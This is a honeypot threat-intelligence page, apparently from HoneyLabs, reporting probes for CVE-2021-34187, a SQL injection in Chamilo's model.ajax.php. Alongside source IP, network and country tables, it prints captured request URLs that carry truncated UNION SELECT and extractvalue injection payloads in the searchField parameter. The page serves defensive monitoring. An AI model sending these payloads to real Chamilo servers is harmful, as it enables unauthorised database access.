CVE-2021-34187: Chamilo model.ajax.php - SQL Injection

HoneyLabs honeypots recorded 24 probes matching CVE-2021-34187 from 1 distinct source IP address in the last 7 days. Severity is rated critical.

Request paths that identify it

  • /main/inc/ajax/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))…
  • /main/inc/ajax/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))…

Addresses probing it

Source IPProbesNetworkCountry
93.123.109.21424Techoff Srv LimitedBulgaria

Networks it comes from

ASNOrganisationProbesSource IPs
AS48090Techoff Srv Limited241

Where it comes from

CountryProbes
Bulgaria24

Captured requests

  • /main/inc/ajax/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))and(1)%20UNION%20ALL%20SELECT%20CONCAT((select+md5(999999999))),NULL,NULL,NULL--…
  • /main/inc/ajax/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))and(1)%20UNION%20ALL%20SELECT%20CONCAT((select+extractvalue(0x0a,concat(0x0a,(md…

HTTP client fingerprints

  • b11cun060_0004001f_eefe5210

CVE report

CVE report

Open a specific CVE from the CVE tracker.